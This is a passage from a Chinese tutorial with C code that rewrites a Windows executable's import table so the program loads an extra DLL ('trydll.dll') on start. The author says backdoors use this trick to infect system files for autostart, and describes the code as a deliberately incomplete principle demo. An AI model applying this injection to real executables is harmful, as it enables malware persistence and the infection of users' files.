   nImportDescriptor++;
  }
  while(pOriginalImportDescriptor[nImportDescriptor].Characteristics!=0);
  DWORD dwBufferSize =sizeof(IMAGE_IMPORT_DESCRIPTOR)*nImportDescriptor;
  if(nPadSize>dwBufferSize+ sizeof(IMAGE_IMPORT_DESCRIPTOR))
  {
   memcpy(pPadStart,pOriginalImportDescriptor,dwBufferSize);
  如果填充区域大小足够,则拷贝旧的数组,并写入新数组项,导入DLL“trydll.dll”。
  首先需要准备新数组项对应成员变量和相关变量,如“Name”,“IMAGE_THUNK_DATA”,“IMAGE_IMPORT_BY_NAME”等等,程序就是利用了原来的IMAGE_IMPORT_DESCRIPTOR数组写入这些数据。
   memset(pOriginalImportDescriptor,0,dwBufferSize);
   PIMAGE_IMPORT_DESCRIPTOR pImportDescriptorAdded = PIMAGE_IMPORT_DESCRIPTOR(pPadStart+dwBufferSize);
   strcpy((char *)pOriginalImportDescriptor,"trydll.dll");
  PIMAGE_IMPORT_BY_NAME  pImportByName = (PIMAGE_IMPORT_BY_NAME ) ((char *)(pOriginalImportDescriptor+1))+5;
   DWORD m_IMAGE_THUNK_DATA = OffsetToVirtuanAddr((BYTE*)pImportByName-pFileImage,pFileImage);
   memcpy((char *)(pOriginalImportDescriptor+1),&m_IMAGE_THUNK_DATA,4);
   pImportByName->Hint=314;
  strcpy((char*)pImportByName->Name,"DllRegisterServer");
  下面给新的IMAGE_IMPORT_DESCRIPTOR数组项负值,使用函数OffsetToVirtuanAddr()得到上面准备的各个变量的偏移地址对应的虚拟地址。
  pImportDescriptorAdded->ForwarderChain = 0;
   pImportDescriptorAdded->TimeDateStamp = 0;
   pImportDescriptorAdded->Name = OffsetToVirtuanAddr( (BYTE *) pOriginalImportDescriptor-pFileImage,pFileImage);
   pImportDescriptorAdded->FirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
   pImportDescriptorAdded->OriginalFirstThunk = OffsetToVirtuanAddr( (BYTE *) (pOriginalImportDescriptor+1)-pFileImage,pFileImage);
  
  最后调整选项头部的内容,大功告成,如图六所示。
   pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]. VirtualAddress = OffsetToVirtuanAddr(pPadStart-pFileImage,pFileImage);
   pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size+= sizeof(IMAGE_IMPORT_DESCRIPTOR);
   printf("Succsee");
  }
  
  图六 DLL成功加载后执行DLLMain弹出的提示对话框
  这段代码主要作为原理演示只用,所以许多该判断的边界条件都没有判断,而是直接硬编码实现,所以读者如果需要实现类似的功能还要针对这段代码进行改进。这样做也是有目地的,毕竟这段代码危害性较强,时下流行的后门黑客之门就是采用这种方法感染系统文件实现自启动,我可不希望一下子蹦出一批感染PE文件的病毒。
  最后声明一句,文中代码请用于合法用途,否则一切后果,作者概不负责!


易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!